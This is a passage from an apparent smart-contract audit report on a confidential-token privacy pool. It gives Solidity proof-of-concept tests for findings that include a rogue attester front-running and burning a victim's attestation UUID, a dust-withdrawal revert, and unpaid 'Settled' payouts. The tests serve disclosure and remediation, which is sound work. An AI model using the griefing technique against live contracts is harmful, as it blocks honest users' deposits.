import {TestConfidentialWrapper} from "../../contracts/fhenix/testing/WrapperProbe.sol";
import {ERC20ConfidentialLib} from "fhenix-confidential-
contracts/contracts/ERC20Confidential/ERC20ConfidentialLib.sol";
import {MockTaskManager} from "@cofhe/mock-contracts/contracts/MockTaskManager.sol";
import {MockACL} from "@cofhe/mock-contracts/contracts/MockACL.sol";
import {ACPTimestampRevoker} from "@cofhe/mock-contracts/contracts/ACPTimestampRevoker.sol";
import {ACPShareRegistry} from "@cofhe/mock-contracts/contracts/ACPShareRegistry.sol";
import {MockThresholdNetwork} from "@cofhe/mock-contracts/contracts/MockThresholdNetwork.sol";

contract F029PredicateUuidGriefTest is Test {
    address constant TASK_MANAGER = 0xeA30c4B8b44078Bbf8a6ef5b9f1eC1626C7848D9;
    address constant ZK_VERIFIER = 0x0000000000000000000000000000000000005001;
    address constant THRESHOLD_NETWORK = 0x0000000000000000000000000000000000005002;
    address constant ZK_VERIFIER_SIGNER = 0x6E12D8C87503D4287c294f2Fdef96ACd9DFf6bd2;
    IVerifier constant VERIFIER = IVerifier(address(0xA1));
    IVerifier16 constant VERIFIER16 = IVerifier16(address(0xA2));
    uint32 constant LEVELS = 20;
    string constant POLICY = "x-fluton-f029";
    string constant VICTIM_UUID = "victim-pending-deposit-0001";

    LocalPredicateRegistry registry;
    PrivacyPool pool;
    TestConfidentialWrapper wrapper;
    MockERC20 token;
    address owner = makeAddr("owner");
    address victim = makeAddr("victim");
    address honestAttester;
    uint256 honestAttesterPk;
    address rogueAttester;
    uint256 rogueAttesterPk;
```

```
    function setUp() public {
        registry = new LocalPredicateRegistry(address(this));
        (honestAttester, honestAttesterPk) = makeAddrAndKey("honestAttester");
        (rogueAttester, rogueAttesterPk) = makeAddrAndKey("rogueAttester");
        // Both are legitimately, independently registered -- e.g. an ordinary key-rotation
        // window where Predicate's docs describe multiple attesters being simultaneously
        // valid ("new keys are registered before old keys are deregistered... zero downtime").
        registry.registerAttester(honestAttester);
        registry.registerAttester(rogueAttester);
    }

    /// The same attack through the real pool: the victim's attestation was for a real
    /// PrivacyPool deposit. requestDeposit reverts for the victim even though their
    /// attestation is perfectly valid and was never compromised. A fresh uuid then works.
    function test_F_029_griefBlocksARealPendingDepositThroughPrivacyPool() public {
        _deployCoFheMocks();
        MockHasher hasher = new MockHasher();
        address lib = _create(vm.getCode("ERC20ConfidentialLib"), address(0), "");
        token = new MockERC20("USD Coin", "USDC", 6);
        bytes memory args = abi.encode(IERC20(address(token)), "Encrypted USD Coin", "eUSDC");
        wrapper = TestConfidentialWrapper(_create(vm.getCode("TestConfidentialWrapper"), lib, args));
        bytes memory initData = abi.encodeCall(
            PrivacyPool.initialize,
            (VERIFIER, VERIFIER16, hasher, LEVELS, address(wrapper).codehash, uint16(0), uint16(0),
address(registry), POLICY, owner)
        );
        pool = PrivacyPool(address(new TransparentUpgradeableProxy(address(new PrivacyPool()), owner,
initData)));
        vm.prank(owner);
        pool.addAsset(IConfidentialWrapper(address(wrapper)));
        token.mint(address(this), 100e6);
        token.approve(address(wrapper), 100e6);
        wrapper.shield(victim, 100e6);
        vm.prank(victim);
        wrapper.setOperator(address(pool), type(uint48).max);

        // The victim's real attestation, honestly issued for a real deposit through `pool`.
        Statement memory victimStmt = Statement({
            uuid: VICTIM_UUID,
            msgSender: victim,
            target: address(pool),
            msgValue: 0,
            encodedSigAndArgs: "",
            policy: POLICY,
            expiration: uint64(block.timestamp + 1 hours)
        });
        bytes32 victimDigest = registry.hashStatementWithExpiry(victimStmt);
        (uint8 v1, bytes32 r1, bytes32 s1) = vm.sign(honestAttesterPk, victimDigest);
        Attestation memory victimAtt =
            Attestation(victimStmt.uuid, victimStmt.expiration, honestAttester, abi.encodePacked(r1, s1,
v1));

        // --- THE ATTACK: the attacker sees the victim's pending attestation (plain calldata,
        // pre-mining) and front-runs it by burning the same uuid directly on the registry,
        // using only their own key as a registered attester. `hashStatementSafe` substitutes
        // msg.sender for whatever `target` the rogue statement names, so the rogue's choice
```

```
        // of target is irrelevant -- only being a registered attester matters.
        Statement memory rogueStmt = Statement({
            uuid: VICTIM_UUID, // the SAME uuid as the victim's pending attestation
            msgSender: rogueAttester,
            target: address(0),
            msgValue: 0,
            encodedSigAndArgs: "",
            policy: POLICY,
            expiration: uint64(block.timestamp + 1 hours)
        });
        vm.prank(rogueAttester);
        bytes32 rogueDigest = registry.hashStatementSafe(rogueStmt);
        (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(rogueAttesterPk, rogueDigest);
        Attestation memory rogueAtt =
            Attestation(rogueStmt.uuid, rogueStmt.expiration, rogueAttester, abi.encodePacked(r2, s2,
v2));
        vm.prank(rogueAttester);
        bool griefed = registry.validateAttestation(rogueStmt, rogueAtt);
        assertTrue(griefed, "rogue attester's self-signed call succeeds using only their own key");
        assertTrue(registry.usedStatementUUIDs(VICTIM_UUID), "uuid burned before the victim ever
acted");

        // --- The victim's real deposit, through the real pool, with a perfectly valid,
        // never-compromised attestation, now reverts.
        vm.prank(victim);
        vm.expectRevert(bytes("Predicate.validateAttestation: statement UUID already used"));
        pool.requestDeposit(1, 50e6, victimAtt);

        // --- The victim is not permanently locked out: a FRESH uuid works normally,
        // confirming this is griefing (retry-able), not a permanent denial.
        Statement memory retryStmt = Statement({
            uuid: "victim-retry-0002",
            msgSender: victim,
            target: address(pool),
            msgValue: 0,
            encodedSigAndArgs: "",
            policy: POLICY,
            expiration: uint64(block.timestamp + 1 hours)
        });
        bytes32 retryDigest = registry.hashStatementWithExpiry(retryStmt);
        (uint8 v3, bytes32 r3, bytes32 s3) = vm.sign(honestAttesterPk, retryDigest);
        Attestation memory retryAtt =
            Attestation(retryStmt.uuid, retryStmt.expiration, honestAttester, abi.encodePacked(r3, s3,
v3));
        vm.prank(victim);
        bytes32 depositId = pool.requestDeposit(1, 50e6, retryAtt);
        assertTrue(depositId ≠ bytes32(0), "a fresh uuid lets the victim proceed, at the cost of a
retry");
    }

    function _deployCoFheMocks() internal {
        vm.etch(TASK_MANAGER, vm.getDeployedCode("MockTaskManager"));
        MockTaskManager(TASK_MANAGER).initialize(address(this));
        MockTaskManager(TASK_MANAGER).setSecurityZones(0, 1);
        MockACL acl = new MockACL();
        MockTaskManager(TASK_MANAGER).setACLContract(address(acl));
        ACPTimestampRevoker revoker = new ACPTimestampRevoker();
```

```
        acl.setDefaultRevokerContract(address(revoker));
        ACPShareRegistry shares = new ACPShareRegistry();
        acl.setShareRegistry(address(shares));
        MockTaskManager(TASK_MANAGER).setVerifierSigner(ZK_VERIFIER_SIGNER);
        vm.etch(ZK_VERIFIER, vm.getDeployedCode("MockZkVerifier"));
        vm.etch(THRESHOLD_NETWORK, vm.getDeployedCode("MockThresholdNetwork"));
        MockThresholdNetwork(THRESHOLD_NETWORK).initialize(TASK_MANAGER, address(acl));
    }

    function _create(bytes memory creation, address lib, bytes memory args) internal returns (address a)
{
        if (lib ≠ address(0)) creation = _link(creation, lib);
        bytes memory code = abi.encodePacked(creation, args);
        assembly {
            a := create(0, add(code, 0x20), mload(code))
        }
        require(a ≠ address(0), "create failed");
    }

    function _link(bytes memory code, address lib) internal pure returns (bytes memory out) {
        bytes32 addrWord = bytes32(uint256(uint160(lib)));
        out = new bytes(code.length);
        uint256 src;
        uint256 dst;
        while (src < code.length) {
            uint256 p = _placeholderAt(code, src);
            if (p == type(uint256).max) {
                while (src < code.length) out[dst++] = code[src++];
                break;
            }
            while (src < p) out[dst++] = code[src++];
            for (uint256 j = 12; j < 32; j++) out[dst++] = addrWord[j];
            src = _placeholderEnd(code, p);
        }
        assembly {
            mstore(out, dst)
        }
    }

    function _placeholderAt(bytes memory code, uint256 from) internal pure returns (uint256) {
        for (uint256 i = from; i + 5 ≤ code.length; i++) {
            if (code[i] == 0x5f && code[i + 1] == 0x5f && code[i + 2] == 0x24) return i;
        }
        return type(uint256).max;
    }

    function _placeholderEnd(bytes memory code, uint256 start) internal pure returns (uint256) {
        for (uint256 i = start + 3; i + 3 ≤ code.length; i++) {
            if (code[i] == 0x24 && code[i + 1] == 0x5f && code[i + 2] == 0x5f) return i + 3;
        }
        revert("malformed library placeholder");
    }
}
```

Recommendation. Scope `usedStatementUUIDs` to the target contract as well as the uuid, for example `mapping(address ⇒ mapping(string ⇒ bool))`, keyed by the caller at validation time the same way

`hashStatementSafe` already binds the signature. A uuid burned against one target then no longer blocks the same uuid against a different one, and a rogue attester can no longer grief a victim whose attestation was issued for a different contract than the one the attester calls directly. If the production registry is kept as the dependency for served chains, raise this upstream, since Predicate's own acknowledgement of finding 3.1.1 leaves their production contracts open to the identical pattern.

REMEDIATION ACKNOWLEDGED

FLUTON

Confirmed, Low. Acknowledged: no fix is planned.

I-01 A withdrawal of exactly one note unit reverts at any nonzero fee rate

SEVERITY INFORMATIONAL STATUS FIXED LOCATION PrivacyPool.sol

Location: PrivacyPool.sol lines 436 to 438 (`withdrawFeeOf`, rounds up), 670 to 674 (`_checkExtData`).

The withdrawal fee is rounded up, so the fee on one unit is one unit for every rate from 1 to 100 basis points. `_checkExtData` requires the supplied fee to equal that value and then requires the fee to be strictly less than the withdrawn amount. For one unit these conditions cannot both hold. A fee of one fails the payout check with `ZeroPayout`, and any other fee fails the equality check with `WithdrawFeeMismatch`. Only a rate of zero removes the problem, and that boundary is now executed: a one-unit withdrawal lands at a zero rate and reverts `ZeroPayout` at one basis point.

The README documents this behaviour as intended: a withdrawal whose fee would take all of it, one unit at any nonzero rate, reverts with `ZeroPayout`. At any nonzero rate a one-unit withdrawal would pay the recipient nothing, so the guard prevents burning a note for nothing. The consequence the README does not state is that a lone one-unit note has no public exit and can only be moved by private transfer or merged with another note. A two-unit withdrawal satisfies the guard pair, since the fee is one and one is less than two, but it pays out one unit and sends one unit (half) to the fee. The value at stake is one note unit, which is 10^-6 of a token for every asset with 6 or more decimals, because the wrapper caps decimals at 6. This is a minor dust-stranding edge case.

Proof of concept. The fee on one unit evaluates to one at every rate from 1 to 100 basis points. A withdrawal of one unit through the public entry point reverts with `ZeroPayout` when the fee is one and with `WithdrawFeeMismatch` for fees of 0, 2, 3 and 4. The test runs at 100 basis points with a dummy proof and reverts before proof verification. For two units, the proof of concept checks the guard arithmetic on the fee function and in a fuzz property and does not execute a two-unit withdrawal end to end.

Test source (exact).

File: `packages/contracts/test/poc/F-005-PoC.t.sol` **Run:** `npx hardhat test solidity test/poc/F-005-PoC.t.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

/// F-005 PoC - Dust withdrawal ZeroPayout brick (ceil-vs-floor fee math).
///
/// `withdrawFeeOf` (PrivacyPool.sol:436-438) rounds the withdrawal fee UP. For any
/// configured fee bps ⩾ 1 the fee on a 1-note-unit withdrawal is 1, so `_checkExtData`
/// (:671-673) can never be satisfied for extAmount == -1:
///   - `withdrawFee ≠ withdrawFeeOf(amountOut)` reverts WithdrawFeeMismatch unless fee == 1;
///   - `withdrawFee ⩾ amountOut` reverts ZeroPayout, and fee == 1 is not < amountOut == 1.
/// No withdrawFee value exists that passes both checks: 1-unit withdrawals are permanently
/// impossible while any fee is configured. `_checkExtData` runs BEFORE `_verifyProof`
/// (PrivacyPool.sol:635-638), so the revert is observable on the real deployed pool with a
/// dummy proof - no zk artifact needed. The complementary floor in `referralRewardOf`
/// (:449-451) credits 0 referral units on the same 1-unit deposit, so the liability drifts
/// in the protocol's favor by ⩽ 1 unit per credit (non-harvestable dust, no theft).
import {Test} from "forge-std/Test.sol";
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {MerkleTreeWithHistory} from "../../contracts/MerkleTreeWithHistory.sol";
import {IHasher, IVerifier, IVerifier16} from "../../contracts/interfaces.sol";
import {MockHasher} from "../../contracts/mocks.sol";
import {LocalPredicateRegistry} from "../../contracts/LocalPredicateRegistry.sol";
import {PrivacyPool} from "../../contracts/PrivacyPool.sol";

contract F005DustBrickTest is Test {
    IVerifier constant VERIFIER = IVerifier(address(0xA1));
    IVerifier16 constant VERIFIER16 = IVerifier16(address(0xA2));
    bytes32 constant CODEHASH = bytes32(uint256(0xC0DE));
    uint32 constant LEVELS = 20;
    string constant POLICY = "x-fluton-f005";

    MockHasher hasher;
    LocalPredicateRegistry registry;
    PrivacyPool pool;
    address owner = makeAddr("owner");
    address upgrader = makeAddr("upgrader");

    function setUp() public {
        hasher = new MockHasher();
        registry = new LocalPredicateRegistry(address(this));
        PrivacyPool impl = new PrivacyPool();
        bytes memory data = abi.encodeCall(
            PrivacyPool.initialize,
            (VERIFIER, VERIFIER16, hasher, LEVELS, CODEHASH, 100, 2500, address(registry), POLICY,
owner)
        );
        TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(address(impl), upgrader,
data);
        pool = PrivacyPool(address(proxy));
    }

    address constant RECIPIENT = address(0xBEEF);

    function _extData(int256 _extAmount, uint64 _fee) internal view returns (PrivacyPool.ExtData memory
e) {
```

```
        e = PrivacyPool.ExtData({
            recipient: RECIPIENT,
            extAmount: _extAmount,
            withdrawFee: _fee,
            encryptedOutputs: [new bytes(168), new bytes(168), new bytes(168)],
            chainId: block.chainid,
            pool: address(pool),
            asset: 1,
            format: 1, // PrivacyPool.FORMAT_PUBLIC - literal avoids an external getter call
            depositId: bytes32(0),
            referrer: address(0)
        });
    }

    function _dummyProof() internal pure returns (PrivacyPool.TransactProof memory p) {
        p = PrivacyPool.TransactProof({
            a: [uint256(1), uint256(2)],
            b: [[uint256(3), uint256(4)], [uint256(5), uint256(6)]],
            c: [uint256(7), uint256(8)],
            root: bytes32(0),
            inputNullifiers: new bytes32[](2),
            outputCommitments: [bytes32(0), bytes32(0), bytes32(0)],
            publicAmount: 0,
            extDataHash: bytes32(0)
        });
    }

    /// STEP 1: ceil fee math - withdrawFeeOf(1) == 1 at 100 bps (and at every bps in 1..100).
    function test_F_005_feeOfOneUnitIsOneAtEveryAllowedBps() public {
        assertEq(pool.withdrawFeeOf(1), 1, "fee(1) must be 1 at 100 bps");
        for (uint16 bps = 1; bps <= 100; bps++) {
            vm.prank(owner);
            pool.setWithdrawFeeBps(bps);
            assertEq(pool.withdrawFeeOf(1), 1, "fee(1) must be 1 at every allowed bps");
        }
        vm.prank(owner);
        pool.setWithdrawFeeBps(100);
    }

    /// STEP 2: the real guard pair is jointly unsatisfiable for amountOut == 1 - the only fee
    /// that survives WithdrawFeeMismatch (fee == withdrawFeeOf(1) == 1) is rejected by
    /// ZeroPayout (fee >= amountOut). Shown on the deployed pool via `transact`, whose
    /// `_checkExtData` runs before `_verifyProof`.
    function test_F_005_oneUnitWithdrawalIsBrickedOnThePool() public {
        // fee = 1 (the value WithdrawFeeMismatch demands) -> ZeroPayout, pre-proof.
        vm.expectRevert(PrivacyPool.ZeroPayout.selector);
        pool.transact(_dummyProof(), _extData(-1, 1));
        // fee = 0 -> WithdrawFeeMismatch, pre-proof.
        vm.expectRevert(PrivacyPool.WithdrawFeeMismatch.selector);
        pool.transact(_dummyProof(), _extData(-1, 0));
        // Any other fee also fails the mismatch check - sweep proves no value works.
        for (uint64 fee = 2; fee <= 4; fee++) {
            vm.expectRevert(PrivacyPool.WithdrawFeeMismatch.selector);
            pool.transact(_dummyProof(), _extData(-1, fee));
        }
    }
```

```
    /// STEP 3: contrast - 2 units at 100 bps need fee ceil(0.02) == 1 < 2, so the guard pair
    /// IS satisfiable there: the brick is specific to the dust unit, not to withdrawals at large.
    function test_F_005_twoUnitWithdrawalGuardMathIsSatisfiable() public {
        assertEq(pool.withdrawFeeOf(2), 1, "fee(2) == 1 at 100 bps");
        assertTrue(pool.withdrawFeeOf(2) < 2, "guard pair satisfiable at 2 units");
    }

    /// STEP 4: the floor side - referralRewardOf(1) == 0 at max share, so a referrer whose
    /// invitee deposits 1 unit is credited 0 while the pool still collects a 1-unit fee on the
    /// eventual withdrawal: liability drift is capped at 1 unit per credit and runs in the
    /// protocol's favor (non-harvestable, no theft vector).
    function test_F_005_referralRewardFloorDriftsAtMostOneUnitPerCredit() public {
        address referrer = makeAddr("referrer");
        assertEq(pool.referralRewardOf(1, referrer), 0, "floor credits 0 on a 1-unit deposit");
        assertEq(pool.withdrawFeeOf(1), 1, "pool still collects a full 1-unit fee");
        assertTrue(pool.referralRewardOf(1, referrer) ≤ pool.withdrawFeeOf(1), "drift bounded by the
fee");
    }
}
```

Recommendation. If the behaviour is not wanted, either make the fee on a single unit zero, for example by returning the smaller of the rounded-up fee and the amount minus one, or enforce and document a minimum withdrawal of two units. Whichever you choose, make the same change in the SDK fee helper that the relayer and web app use, and update the README.

THE SETTLED STATUS OF A PUBLIC-FORMAT PAYOUT DOES NOT MEAN THE UNDERLYING TOKENS WERE DELIVERED

Location: PrivacyPool.sol lines 577 to 592, 647 to 648, 796 to 797, 846 to 870.

For public-format payouts, which are withdrawals to the underlying token and fee collections or referral claims paid in the public format, the pool burns its eTOKEN through the wrapper, and the wrapper records a pending claim for the recipient. The obligation becomes Settled when a signed gateway verdict confirms that the amount burned equalled the amount requested. The claim itself is created in the burn transaction, before any verdict, and it exists whether the verdict is true or false. The underlying tokens leave the wrapper only when someone separately calls the wrapper's claim function. That function has no caller restriction, pays the claim's recipient once the caller supplies a valid gateway-signed decryption of the burned amount, and has no expiry. The pool stores the claim identifier and emits it in the attempt-started event, but no pool code reads it back or looks the claim up on the wrapper, so the pool cannot observe whether the claim was completed.

No funds are lost to the pool or to other users. The claim never expires and the wrapper still holds the tokens. The exception is a recipient that the underlying token refuses to pay, for example one placed on a token-level blocklist. The claim can only pay the recipient recorded at withdrawal, and the pinned wrapper version has no function to reassign a claim, so in that case the claim cannot be completed and the tokens stay in the wrapper. The consequence is that a Settled obligation can still be waiting for a separate claim, and no pool contract function completes, tracks or enforces that claim. In this repository the duty sits off chain. The README describes the relayer keeper, which is on by default, as submitting the claim by exact claim identifier, and the indexer and web wallet track and offer claims.

For confidential and refund payouts the transfer lands inside the attempt, so Settled does mean delivered there.

Proof of concept. A public-format withdrawal ends Settled with the recipient's underlying balance at zero and the claim not yet completed. An account other than the recipient then completes the claim. Afterwards the obligation is

still Settled, the stored claim identifier is unchanged and the payout liability is still zero.

Test source (exact).

File: `packages/contracts/test/poc/F-003-PoC.t.sol` **Run:** `npx hardhat test solidity test/poc/F-003-PoC.t.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {Test} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {ebool, euint64} from "@fhenixprotocol/cofhe-contracts/FHE.sol";
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockHasher} from "../../contracts/mocks.sol";
import {MockERC20} from "../../contracts/MockERC20.sol";
import {LocalPredicateRegistry} from "../../contracts/LocalPredicateRegistry.sol";
import {PrivacyPool} from "../../contracts/PrivacyPool.sol";
import {IConfidentialWrapper} from "../../contracts/fhenix/IConfidentialWrapper.sol";
import {ExpectingVerifier} from "../../contracts/fhenix/testing/ExpectingVerifier.sol";
import {TestConfidentialWrapper} from "../../contracts/fhenix/testing/WrapperProbe.sol";
import {ERC20ConfidentialLib} from "fhenix-confidential-
contracts/contracts/ERC20Confidential/ERC20ConfidentialLib.sol";
import {IVerifier, IVerifier16} from "../../contracts/interfaces.sol";
import {MockTaskManager} from "@cofhe/mock-contracts/contracts/MockTaskManager.sol";
import {MockACL} from "@cofhe/mock-contracts/contracts/MockACL.sol";
import {ACPTimestampRevoker} from "@cofhe/mock-contracts/contracts/ACPTimestampRevoker.sol";
import {ACPShareRegistry} from "@cofhe/mock-contracts/contracts/ACPShareRegistry.sol";
import {MockThresholdNetwork} from "@cofhe/mock-contracts/contracts/MockThresholdNetwork.sol";

interface ITaskManagerMock {
    function mockStorage(uint256 ctHash) external view returns (uint256);
}

/// F-003 PoC - Settled ≠ paid: a Burn withdrawal settles in PrivacyPool while the actual
/// underlying payout is a SECOND, permissionless, async wrapper-side step
/// (`FHERC20ERC20WrapperCore.claimUnshielded`, WCore:138-146) that PrivacyPool never calls
/// and never tracks.
///
/// Claimed structure (F-PP-3, operational, merged with F-015):
///   1. A burn withdrawal's `_attempt` (PP:828-871) burns the pool's eTOKEN via
///      `wrapper.unshield`, which creates a pending CLAIM for the recipient instead of
///      paying them (WCore:_unshield → _createClaim). PP records the claim id in
///      `attempts[attemptId].claimId` (PP:869) and emits it (PP:870).
///   2. `confirmAttempt(success = true)` (PP:577-587) decrypts `ok = eq(sent, requested)`
///      - i.e. "the claim was CREATED" - and marks the obligation `Settled`. PP's books
///      close: `payoutLiability` was already decremented by the full `sent` (PP:866-867).
///   3. From that moment NOTHING in PrivacyPool can complete, track, retry or even
///      observe the delivery of the underlying. `claimId` is written at PP:869 and never
///      read again anywhere in the contract (grep: occurrences only at :138 struct field,
///      :192 event param, :869 write, :870 emit). `retryObligation` reverts (RetryNotAllowed
///      once Settled), `confirmAttempt` reverts (StaleConfirmation): the pool offers no
///      action for a payout it has already declared settled.
///   4. The payout completes only if SOMEONE - the recipient, or literally any third
///      party, since `claimUnshielded` is permissionless and pays `claim.to` (the
///      Consensys Diligence 5.13 remediation leaves exactly this residual risk: a
///      recipient that can neither receive nor call, "such a claim cannot be recovered"
///      by the protocol) - calls `wrapper.claimUnshielded(id, amount, proof)`. Nobody is
///      obligated or incentivized on-chain to do so, and the pool would never notice if
///      it never happened. The claim does not expire, so funds remain fully recoverable:
///      an operational/observability gap, not a fund-loss bug.
```

```
///
/// The PoC executes the exact chain end-to-end on the production PrivacyPool and
/// ConfidentialWrapper (the test wrapper's backdoor adds NO claim-path behavior -
/// `claimUnshielded` is the stock WCore implementation). The mock CoFHE environment is the
/// repo's sanctioned confidential-test harness (the same one the project's own test/fhenix
/// suites run on); verdict signatures are minted with the plugin's mock decrypt signer
/// exactly like the pool's confirmAttempt path requires.
contract F003SettledUnpaidTest is Test {
    // Private key of the mock decrypt-result signer set by the cofhe hardhat plugin on the
    // MockTaskManager (MOCKS_DECRYPT_RESULT_SIGNER_PRIVATE_KEY in the cofhe sdk 0.7.1).
    uint256 constant GATEWAY_PK = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
    address constant TASK_MANAGER = 0xeA30c4B8b44078Bbf8a6ef5b9f1eC1626C7848D9;
    /// Fixed mock addresses (CoFHE SDK 0.7.1): MockZkVerifier / MockThresholdNetwork.
    address constant ZK_VERIFIER = 0x0000000000000000000000000000000000005001;
    address constant THRESHOLD_NETWORK = 0x0000000000000000000000000000000000005002;
    /// The plugin's zk verifier signer (MOCKS_ZK_VERIFIER_SIGNER_ADDRESS in CoFHE SDK 0.7.1).
    address constant ZK_VERIFIER_SIGNER = 0x6E12D8C87503D4287c294f2Fdef96ACd9DFf6bd2;
    uint64 constant PAYOUT = 1_000e6; // note units; 6-decimals token ⇒ wrapper rate = 1
    uint8 constant FORMAT_PUBLIC = 1; // PrivacyPool.FORMAT_PUBLIC
    uint32 constant LEVELS = 20;
    string constant POLICY = "x-fluton-f003";

    MockHasher hasher;
    LocalPredicateRegistry registry;
    ExpectingVerifier verifier;
    PrivacyPool pool;
    TestConfidentialWrapper wrapper;
    MockERC20 token;
    address owner = makeAddr("owner");
    address alice = makeAddr("alice"); // unrelated bot: the caller that completes the payout
    address bob = makeAddr("bob"); // the withdrawal recipient
    address dormant = makeAddr("dormant"); // recipient that will never act

    function setUp() public {
        _deployCoFheMocks();
        hasher = new MockHasher();
        registry = new LocalPredicateRegistry(address(this));
        verifier = new ExpectingVerifier();

        // The wrapper links ERC20ConfidentialLib at deploy time; Hardhat resolves npm-file
        // linking only through config, so the PoC patches the placeholder itself.
        address lib = _create(vm.getCode("ERC20ConfidentialLib"), address(0), "");
        token = new MockERC20("USD Coin", "USDC", 6); // 6 decimals ⇒ rate = 1
        bytes memory args = abi.encode(IERC20(address(token)), "Encrypted USD Coin", "eUSDC");
        wrapper = TestConfidentialWrapper(_create(vm.getCode("TestConfidentialWrapper"), lib, args));

        bytes memory initData = abi.encodeCall(
            PrivacyPool.initialize,
            (
                IVerifier(address(verifier)),
                IVerifier16(address(verifier)),
                hasher,
                LEVELS,
                address(wrapper).codehash, // every wrapper linked to the same lib shares runtime code
                uint16(0), // withdrawFeeBps = 0 keeps the withdrawal route exact
                uint16(0),
                address(registry),
```

```
                POLICY,
                owner
            )
        );
        pool = PrivacyPool(address(new TransparentUpgradeableProxy(address(new PrivacyPool()), owner,
initData)));
        vm.prank(owner);
        pool.addAsset(IConfidentialWrapper(address(wrapper)));

        // Seed the pool's eTOKEN reserve exactly like a deposit leg would: shield underlying
        // into the wrapper FOR the pool (a real wrapper.shield call, not a storage poke).
        token.mint(address(this), 4 * PAYOUT);
        token.approve(address(wrapper), 4 * PAYOUT);
        wrapper.shield(address(pool), 2 * PAYOUT);
    }

    // ============================================== TEST 1 - the finding's exact structure
    /// A burn withdrawal reaches `Settled` while the recipient still holds nothing; the pool
    /// offers no further action for the payout; the ONLY completion mechanism is a second,
    /// permissionless wrapper call that PrivacyPool neither triggers nor tracks.
    function test_F_003_settledObligationPaysNothingUntilPermissionlessWrapperClaim() public {
        (bytes32 oid, bytes32 a1, bytes32 claim1) = _withdraw(bob, PAYOUT);

        // --- Step 1 state: the burn created a PENDING claim; nothing was paid. The pool
        // recorded the claim id (PP:869) but the recipient has no underlying.
        assertEq(token.balanceOf(bob), 0, "unshield pays nobody by itself");
        ERC20ConfidentialLib.Claim memory c1 = wrapper.getClaim(claim1);
        assertEq(c1.to, bob, "claim is for the recipient");
        assertFalse(c1.claimed, "claim still pending at attempt time");
        assertEq(token.balanceOf(address(wrapper)), 2 * PAYOUT, "underlying still parked in the
wrapper");
        // The pool's books are ALREADY closed before any verdict: _createObligation added the
        // liability (PP:821) and _attempt consumed it with `sent` (PP:864) in the SAME tx -
        // the pool's obligation now lives only in the wrapper's pending claim.
        assertEq(_dec64(euint64.unwrap(pool.payoutLiability(1))), 0, "books closed at claim creation,
pre-verdict");

        // --- Step 2: honest gateway verdict (the claim WAS created) ⇒ Settled.
        (, , , , , ebool ok1, ) = pool.attempts(a1);
        vm.prank(alice);
        pool.confirmAttempt(a1, true, _signDecrypt(ebool.unwrap(ok1), 1));
        assertEq(uint8(_obligation(oid).status), uint8(PrivacyPool.ObligationStatus.Settled),
"settled");

        // SETTLED ≠ PAID: the recipient still holds nothing and the pool's books were closed
        // at claim creation (PP:821 + PP:864, same tx) - never reopened for delivery.
        assertEq(token.balanceOf(bob), 0, "settled but unpaid");
        assertFalse(wrapper.getClaim(claim1).claimed, "payout still pending at Settled");
        assertEq(_dec64(euint64.unwrap(pool.payoutLiability(1))), 0, "liability stays 0 through
settle");

        // --- Step 3: PrivacyPool offers NO action for the payout it just declared settled.
        vm.prank(alice);
        vm.expectRevert(PrivacyPool.RetryNotAllowed.selector);
        pool.retryObligation(oid); // the pool cannot retry a settled payout
        (, , , , , ebool ok1b, ) = pool.attempts(a1);
        vm.prank(alice);
```

```
        vm.expectRevert(PrivacyPool.StaleConfirmation.selector);
        pool.confirmAttempt(a1, true, _signDecrypt(ebool.unwrap(ok1b), 1)); // nothing left to confirm
        (, PrivacyPool.AttemptStatus a1st, , , , , ) = pool.attempts(a1);
        assertEq(uint8(a1st), uint8(PrivacyPool.AttemptStatus.Succeeded), "attempt terminal");

        // Time passes - the pool stays frozen: no timeout, no escalation, no action.
        vm.warp(block.timestamp + 30 days);
        assertEq(uint8(_obligation(oid).status), uint8(PrivacyPool.ObligationStatus.Settled), "still
Settled");
        assertFalse(wrapper.getClaim(claim1).claimed, "still unpaid a month later");

        // --- Step 4: the payout completes ONLY via the second, permissionless wrapper step -
        // executed here by an UNRELATED bot (alice), because anyone may.
        (, , , , , , bytes32 claimIdInPool) = pool.attempts(a1);
        vm.prank(alice);
        wrapper.claimUnshielded(claim1, uint64(PAYOUT), _signDecrypt(c1.ctHash, PAYOUT));
        assertEq(token.balanceOf(bob), PAYOUT, "payout delivered only by the extra step");
        assertTrue(wrapper.getClaim(claim1).claimed, "claim consumed by the wrapper step");

        // ...and PrivacyPool neither performed, noticed, nor recorded anything: the claim id
        // it stored at PP:869 is write-only state (no consumer anywhere in the contract).
        (, , , , , , bytes32 claimIdAfter) = pool.attempts(a1);
        assertEq(claimIdAfter, claimIdInPool, "pool's claimId never updated/consumed");
        assertEq(uint8(_obligation(oid).status), uint8(PrivacyPool.ObligationStatus.Settled), "pool
oblivious");
        assertEq(_dec64(euint64.unwrap(pool.payoutLiability(1))), 0, "pool books unchanged by the real
payout");
    }

    // ================================== TEST 2 - claimId recorded, never consumed/tracked
    /// The pool knows the exact wrapper claim (it equals `lastClaimId()` read same-tx,
    /// PP:849) and even emits it - but no code path ever reads `claimId` back: occurrences
    /// are :138 (struct field), :192 (event param), :869 (write), :870 (emit). There is no
    /// settle-after-claim, no reconciliation, no automation - the pool cannot even tell a
    /// completed payout from a forgotten one.
    function test_F_003_claimIdStoredButNeverConsumedByPool() public {
        // Expect the pool's own observability hook: AttemptStarted carries the claim id
        // (PP:870) - the mitigation the audit's accepted-design note (U3) leans on.
        vm.recordLogs();
        (bytes32 oid, bytes32 a1, bytes32 claim1) = _withdraw(bob, PAYOUT);

        // The claim id the pool stored IS a real wrapper claim, publicly announced by the
        // wrapper's ClaimCreated (indexed by recipient) and by the pool's AttemptStarted.
        (, , , , , , bytes32 storedClaimId) = pool.attempts(a1);
        assertEq(storedClaimId, claim1, "pool stored the wrapper's claim id");
        assertFalse(wrapper.getClaim(claim1).claimed, "and it is a live wrapper claim");
        Vm.Log[] memory logs = vm.getRecordedLogs();
        bytes32 attemptStartedSig =
